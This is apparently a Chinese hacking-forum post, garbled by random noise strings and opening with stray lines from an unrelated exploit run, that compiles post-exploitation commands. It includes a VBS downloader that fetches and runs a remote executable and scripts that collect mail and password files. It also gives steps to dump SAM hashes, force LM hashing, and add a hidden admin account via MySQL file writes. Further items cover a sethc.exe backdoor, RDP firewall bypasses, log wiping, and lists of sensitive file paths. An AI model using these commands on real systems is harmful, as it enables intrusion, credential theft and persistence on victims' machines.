* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
" \6 a# H; x/ m( m' E% u  ^1 w* [argp@julius ~]$ ./nfs_mount_ex
& g$ e* k" v. Y  L*
calling nmount()
  g, _) z4 {  r+ F+ K
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
$ o* ]% d5 q" L# F6 V——————————————
( ]# I4 j  s  m8 q感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
! r: ]  h8 S5 o————————————————————————————
$ K  s" F: X  e$ @/ |+ {4 H8 @; J1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
% K  ^4 V) L& d, i2 B/ o+ m{
注：
9 }& x* n% e- W1 F1 F' P关于tar的打包方式,linux不以扩展名来决定文件类型。
3 v; I; \* e  o$ G1 h: {若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
0 N' v/ k! m& Z  a% N}  
. A; g& Z, k1 o7 L
提权先执行systeminfo
0 C( E: G; ~3 C" Itoken 漏洞补丁号 KB956572
' c6 S' n( u# A3 h2 d( @' C# J: A! XChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
0 S8 y" _5 L- x6 M4 F. Q# a——————————————
7 U/ e! V( ~7 _4 b; Z  N* `2、收集系统信息的脚本  
+ X7 B( D! h' b1 {" C4 _* ?3 zfor window：
4 Q8 `$ q7 x% d( h: A$ @0 C. H
/ ]; X+ C* v$ p" x1 T; o) @' `7 T@echo off
) ], D* s/ j' yecho #########system info collection
systeminfo
9 i6 R. K1 |) [3 Zver
7 [4 c* O: U9 u* V6 ?% Z# A+ W- Zhostname
4 s4 R5 N8 w! P. r2 Knet user
9 ]9 ]2 l& `" A+ H  cnet localgroup
net localgroup administrators
0 Z' W0 R) @9 b0 dnet user guest
net user administrator

2 W. ]' o5 A7 K* r8 E6 \/ X# Mecho #######at- with   atq#####
; n5 T2 [/ X$ B2 I: A* K- Eecho schtask /query

" L1 a( h# s' g! [" x5 L+ Cecho
% \$ r- w* `8 `: a& R0 h" Qecho ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
1 _$ q+ x0 H: o; ^; A! W& cipconfig/all
route print
# D  ?+ R5 O# u: W- rarp -a
netstat -anipconfig /displaydns
6 g7 q' y6 g$ T/ M/ j1 t: Hecho
echo #######service############
$ Q$ c, h. q% M5 z0 k) @sc query type= service state= all
' M4 M- g0 s& L9 x1 x1 z3 secho #######file-##############
cd \
  y4 V$ ^, K; Z- F" f2 O5 ?( atree -F
for linux：

#!/bin/bash
  K+ Y) f- h8 P' T/ Y2 B* L- U# x
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
8 I$ r" Z* {  _8 [echo #######basic infomation##
cat /proc/meminfo
$ ~% e& W- G' @& j" Lecho
cat /proc/cpuinfo
, s; O# y& J( g3 @( jecho
rpm -qa 2>/dev/null
9 L. y: S' C# b# k3 x; A######stole the mail......######
/ E! }6 N6 d+ B) ]0 kcp -a /var/mail /tmp/getmail 2>/dev/null
4 p. e4 e0 w7 `8 H) u

echo 'u'r id is' `id`
4 T; l& i/ J. Y& {8 V; \* [0 pecho ###atq&crontab#####
atq
3 y) K0 H/ r1 y6 q& c3 {* s& r: |crontab -l
echo #####about var#####
  h2 Z  u3 W0 Iset
* i3 W. L3 F6 F, }8 d
echo #####about network###
! n3 j0 d# }, D) n####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
9 G6 g! W3 F; v% W7 k. zecho ########user####
; i4 u! f. K* X" \1 C5 {& Qcat /etc/passwd|grep -i sh
! {8 o3 R( m) P" s+ b
+ X; x3 n) t/ K! necho ######service####
* O; o8 A% t: }' P& i# gchkconfig --list

4 U1 e# M, O! m# t2 rfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
( |/ q( V, P; D3 P/ |9 ~0 c; f5 hsleep 5
locate conf >/tmp/sysconfig 2>dev/null
+ J% B6 t+ ^! _sleep 5
& D5 w- n+ M/ q: {+ Tlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
2 K" e  y1 y+ s1 E( P
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
) u( J" w4 d+ {: |( r4 l3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
8 o9 b6 W! q* n8 Y9 |               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
( x: f- |/ Z* g& r& H注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
% M9 s5 W* c4 ?1 Zhash 抓完了记得把自己的账户密码改过来哦！
. F! z: e: B! _8 t! h# E* e! j据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
$ f% d& i- O! a1 o9 _! B6 ^" x——————————————
4、vbs 下载者
1
% u. J3 q0 J; O" _echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
% A: w5 c  F" M! |% oecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
& B' j* @( B- secho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
- }4 [- Z* o1 O0 o2 decho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
. A" j" ^* J5 z0 u" q$ Qecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
/ l8 V4 R, P, m8 L* X" q9 Aecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
$ }- Z) E7 u; E1 u: b! I
2
/ K+ |2 ]& S' w1 d( K  ^5 NOn Error Resume Nextim iRemote,iLocal,s1,s2
( L! l; k; S/ PiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
" k6 }  _. V# z- hs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
; c4 X/ i/ T9 K8 C) g, S' rSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
3 {7 v# A2 d5 I1 W/ ]
/ Z7 j9 A% u5 z7 M7 p+ ~: f! Z当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
$ g- x9 G$ x+ h5 E$ C" q. l9 [& L5、
0 g! ~0 R; ^4 N3 O# P1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
7 Z, L  v" V# d, h! u$ g4 E% u! rREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
) U6 r$ y0 e5 m8 ^4 t8 PREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
( y" d0 Q6 I; I" k5 s4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
8 H. M6 f3 P% |; l$ W: yREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
. F1 m7 K8 F  ^* E————————————————
8 w8 w* I. t! P- K6、create table a (cmd text);
8 D; n8 |9 A1 Y3 Y- ?insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
! V' u+ g% e4 v0 hinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
  r) h' S$ @" ]6 ^7 Y( }7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

7 S* o# P) U3 w列出d的所有目录
0 ^4 Q! x8 d1 j5 ^2 ~  I. I  
  for /d %i in (???) do @echo %i
1 H, [. m5 y# |: {
# U4 ?2 @1 t: I把当前路径下文件夹的名字只有1-3个字母的打出来
: z+ g0 }- m1 b$ c3 u+ Q" H
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
  c) b& b# [( F' f7 u& V
* Y, o0 o. D. Y6 _/ |; K& z7 ^for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
2 u; P8 u9 F0 g1 s/ P/ d5 C
3.for /f %i in (c:\1.txt) do echo %i
  
9 r0 B. N% W" H+ {/ F  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
' @, g3 z6 G" V- W: k
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
1 d; g. k) T% {' ~  c  D
) }$ m* h# k" Q; c! i  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

8 r" `( b) \7 L/ Z* U' t+ h1 B$ o2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
) j8 w: e& g! d- l! b修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
2 W2 |: I+ |6 ^8 p" G6 r
4.Radmin密码:
1 O' R9 l9 A! l0 U0 sreg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
$ }4 w" e& ^- ]: s4 _/ tREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
4 b, E% n2 J' u4 A
7 L7 k1 c2 P+ k$ M" m+ u1 N8 h6.IPSec默认免除项88端口(需重启):
& M- [4 V+ E% X! @7 x6 s1 Greg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
: @# @# I8 e# p( S" j
2 n3 T1 n, A3 f- e7 b# w5 z7.停止指派策略"myipsec":
% \4 L, y4 V0 A) K9 L9 y' b8 m6 [netsh ipsec static set policy name="myipsec" assign=n
. S9 J& B& E) [* Z, z1 D
/ R8 l) i/ j3 f/ w0 p/ |8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
# ]& U4 c# z2 c
& Q, d& x" ^- Y8 ^2 j9.另类方法抓系统密码HASH
% ?; n8 b. |+ v* {9 X; hreg save hklm\sam c:\sam.hive
* I2 n/ H6 E4 m8 \  Lreg save hklm\system c:\system.hive
+ a2 s$ [# g' p% q4 j: h' Breg save hklm\security c:\security.hive
4 `8 @) z6 R) q4 U% a& T2 f! Y
10.shift映像劫持
: Q% v: J1 O* e- y; y! C: R+ ureg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
* p' D4 ], r9 a" O/ Q! Z  g
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
& e7 }( s$ q' Q, o' Q6 D-----------------------------------
2 g, k; V- m# F2 G" D星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
+ g3 D7 J5 L' v8 K5 k9 DFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
( O: R, R% V* k( _, Z* ?3 gif IsNumeric(childObjectName)=true then
( ~& S; A5 F/ Zset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
, X) o/ Y: [3 x/ V$ C0 y' }end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
$ {* H' _  j- S0 y. L5 u! pset IISweb=iis.getobject("IIsWebVirtualDir","Root")
) i! n) f2 {4 O  Duser=iisweb.AnonymousUserName
) M) U$ l& s& B; s! ^pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
) B/ ~. {5 m* q# R1 |6 Lend if
3 Q( L' Y6 U$ {Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
. g7 r2 j5 H% }$ ]- R3 Q( K7 ?$ ZWScript.Quit
9 b) F* L1 ~5 x! R- c复制代码
; g. W" d% y4 c# a( H4 e----------------------2011新气象，欢迎各位补充、指正、优化。----------------
- ^* R7 h6 K: U1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
7 M% O2 c" R- d<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
" s. O8 E! r( B, {</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
* }* [. {! B3 U& w& R9 W3 s4 ~+ R url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

6 u; j- ^5 S* j8 @$ V==============================================================
$ R1 A/ y# r4 B; j; tLINUX常见路径：

2 e9 ^4 J/ b2 _; L  f: s7 c$ y/etc/passwd
9 Q: \% l1 d2 o5 }/etc/shadow
/etc/fstab
/etc/host.conf
% H1 x- T( |3 E) t/etc/motd
  t8 |) e+ r. o$ W0 K2 s/etc/ld.so.conf
/var/www/htdocs/index.php
# q2 V7 o) [& \/ ?! t( C  G3 l/var/www/conf/httpd.conf
, S( Y. {, }0 G4 \$ d; I/var/www/htdocs/index.html
- A+ \- z9 Z1 P; P: g/ w# f1 |/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
  ?' z2 V3 T; f) s- N3 E/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
, I. N8 t# O; P  a6 a0 T/var/httpd/conf/php.ini
. V& z' L* e! F9 O3 Y3 k6 _/ O/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
* o: s4 M( Z$ [& q8 [: {/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
+ U8 |- p8 m9 O: X+ Z/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
3 o2 F+ B* e( l* k% l( s/usr/local/apache2/htdocs/index.php
7 n2 M0 @- e3 g- I  |* I- F2 o/usr/local/httpd2.2/htdocs/index.php
- [$ n8 k7 f- I1 w0 {" Z/usr/local/httpd2.2/htdocs/index.html
  r' a1 h3 b% Q+ D/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
$ Q, P- Q% {9 l* p; I) @8 l$ [: Z! l5 ?/etc/httpd/htdocs/index.php
- _& }/ z% p, @/etc/httpd/conf/httpd.conf
* F% B  V0 F6 r$ |; B! e/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/ t* R/ B/ i# n/www/php5/php.ini
/www/conf/httpd.conf
, m- w3 n, Q$ i7 u: B) O$ }/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
+ a+ }, r5 B7 Y- B/etc/apache/apache.conf
0 Q* L9 K# U: k/etc/apache2/apache.conf
  Z" x% z& _9 w) Q' O. N" X/etc/apache/httpd.conf
. B0 x/ |3 H+ s/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
- Y; t( w, o3 C5 f1 ]! F7 [* \6 j/etc/apache2/sites-available/default
" D! U- c  v* u: c/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
, M$ ?8 s, C2 F) {& ~! w/etc/httpd/logs/error.log
: K8 I" G2 c0 ?# [- y3 W. S/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
* G/ A( c. [3 E0 Q" ?2 Z' \/home/apache/conf/httpd.conf
1 g8 z9 K6 L( C" _/home/apache2/conf/httpd.conf
' h* U' l3 M8 K0 \: `! y$ B7 T/var/log/apache/error_log
$ L' H% V# p, {* R/var/log/apache/error.log
9 x* L7 @6 k& H  v1 w; F/ L; }/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
) Y& _* |& t. A% j0 X& l/ K3 H/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
& R# C) d* i( {* c' `$ k9 @5 w/var/www/logs/access_log
& p1 ]9 X0 [; h/var/www/logs/access.log
4 F4 a+ t- u- t/usr/local/apache/logs/error_log
8 D% D! k9 Y& Q0 Z0 E4 d4 F3 O. V3 e/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
$ x2 p* a6 V+ G9 w/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
' W4 o% m/ }6 A8 X/usr/lib/php.ini
0 V" y+ E5 g5 _3 Z  A8 F! Q4 h  D4 h/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
" Y+ q& E& A+ m, }7 G2 m/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
& t' e# R+ n" C% c  H6 k/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
6 `  Z) B9 E! t- {/ F/usr/local/php5/php5.ini
' \. V$ t( e: R+ r. h/usr/local/apache/conf/php.ini
! m9 M0 Y/ i/ r5 p) z/usr/local/apache/conf/httpd.conf
! f% o9 ~/ r3 L& Y# c1 w1 f6 Y; y/usr/local/apache2/conf/httpd.conf
4 Q8 F" O. A+ ]( k' {! u- d; S& A0 G/usr/local/apache2/conf/php.ini
6 Z+ X) c" \! ^8 [4 }$ N9 D% z+ B3 Z/etc/php4.4/fcgi/php.ini
8 q: h" k- n2 X2 J2 W- H- Q4 |2 ^2 S/etc/php4/apache/php.ini
* @" d( m. @: ~5 D/etc/php4/apache2/php.ini
; s4 l* C7 O9 M4 H" B) K/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
$ V8 F" M( ]! d9 \5 g( k% A+ ~/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/ H5 W' A8 p* o7 {" z4 h/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
3 n7 _3 G3 n7 _8 d8 A3 y; ]/etc/php/cgi/php.ini
, ~( s3 B# z/ K% ^+ L7 K/etc/php4/cgi/php.ini
0 G  H) P7 r* Q0 {/etc/php5/cgi/php.ini
1 Z7 _4 h1 s7 y4 K3 v8 [" i/php5/php.ini
  |0 k! [: T0 ?. i, E4 T2 M/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
  a2 _5 y; \; o  x( ^! a/xampp/apache/bin/php.ini
7 s; s0 [$ t' F9 d/xampp/apache/conf/httpd.conf
) k9 k: y" Y# k' v/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
% R6 `, u4 H. P1 a' o7 Z4 [/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
$ A/ o* K3 \$ k& Q5 ^/ e( {/var/log/mysql/mysql-slow.log
/var/mysql.log
, K+ X5 n  q% o: i$ A3 ?  |. q7 g1 }/var/lib/mysql/my.cnf
4 B: O4 t' h$ U  ~: b# k4 C/usr/local/mysql/my.cnf
+ W& _6 |) E5 ~: r/ o' z6 g) r1 _/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
1 Y: H' {# M* j, b/etc/my.cnf
! b- w0 _* i5 z" z1 R/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

) J) D$ }& A! I" p/ C2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
5 x' L9 D, |( b1 N$ F8 ]2 N7 jc:\1.txt
7 Z2 m2 l$ K$ |c:\a.txt
, X5 a# Y- T% O; L& t2 ?
! `- Q7 ?4 g. j. n4 Q0 O; zc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
1 b8 V2 l. C2 V, j% V& h6 e" ]c:\program files\CMailServer\CMailServer.exe
9 r1 y/ C) h$ ^c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
& l5 Z- U+ Z/ J- R5 LC:\WINDOWS\FreeHost32.dll
+ f! ^  v, H" x! PC:\WINDOWS\7i24iislog4.exe
/ Q  C% j+ d$ `; y5 oC:\WINDOWS\7i24tool.exe

0 m' C3 n  I% a/ |! V; G; V! ~c:\hzhost\databases\url.asp

) n* @; j: q! sc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
  Y' w# d' i) J% o+ |! a. u
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
9 w' z2 U% m; E6 q' E7 Z# L" Q2 Fc:\web\index.html
- ~* i# @4 R7 D0 N& s7 A) g3 sc:\www\index.html
c:\WWWROOT\index.html
- z$ `) [, ~7 S1 C0 cc:\website\index.html
c:\web\index.asp
, X! g4 I" w. p0 D/ j. N+ Zc:\www\index.asp
, ^# V7 @' ~/ c# jc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
6 J2 D# b% i* a- lc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
: @0 B9 T# r, Q1 |6 O8 h/ K' Sc:\WWWROOT\default.html
c:\website\default.html
3 `; A- m" f' S8 j* G# C0 s& f' pc:\web\default.asp
; u# {: i- u; ]( `% Qc:\www\default.asp
, f: Y: N# R% j1 @c:\wwwsite\default.asp
9 R# f: ~  P5 ?. M3 }! r4 l* Jc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
* J+ C; n4 v) D# P, a2 {c:\WWWROOT\default.php
c:\WWWsite\default.php
; i! B# _, ^4 d" V) ]* kC:\Inetpub\wwwroot\pagerror.gif
- B2 O9 M9 X- Y- bc:\windows\notepad.exe
* f; _' p$ t" E6 Z8 Cc:\winnt\notepad.exe
7 A' I5 j1 e7 x+ A5 d% UC:\Program Files\Microsoft Office\OFFICE10\winword.exe
* s" o3 \( P2 G+ uC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
* r5 w  }7 A% x0 v+ m% xC:\Program Files\winrar\rar.exe
) r' p7 x, k% y: L: \C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
/ d( X% E; @5 U" }; VC:\Documents and Settings\All Users\Start Menu\desktop.ini
8 u1 q3 t* I) I0 r. S4 D4 G8 n6 a8 eC:\Documents and Settings\Administrator\My Documents\Default.rdp
+ ~1 h6 m' \' z* L" o  M$ ?0 rC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
  h% I1 Q( `" L4 r$ ~  L( cC:\Documents and Settings\Administrator\My Documents\a.txt
3 T$ e7 U8 V1 R9 x% ~! T) TC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
  T1 K, |, a. y) Q+ r- mE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
+ t# b& F7 z) Z' h; M/ uC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
! W3 K6 V. X4 n) N" j1 i% S- dC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
+ P& H; N- Y4 O7 {C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
  {7 }% x( _! Q. hC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
4 H: ~0 W2 Z. cC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
7 I& t6 ^- ?) D1 w9 vC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
" U! ?" @; |, }1 s. B- W6 QC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
5 W/ A% _7 s6 v0 U( R- c* hC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
8 v) p) t% ~0 I* Y/ n6 \6 SC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
- K$ H. k; p% j. T  N# {c:\MySQL\MySQL Server 4.1\bin\mysql.exe
& L, S( s6 F7 w7 P6 @1 fc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
, d; N; N. @; x) \0 Z3 t' c* KC:\WINDOWS\system32\inetsrv\w3wp.exe
1 i5 D  V! h7 O0 |C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
  I# X8 c- a7 S/ [, L. tC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
! u8 |1 \/ \0 RC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
2 l( l1 G( Y& R$ Oc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
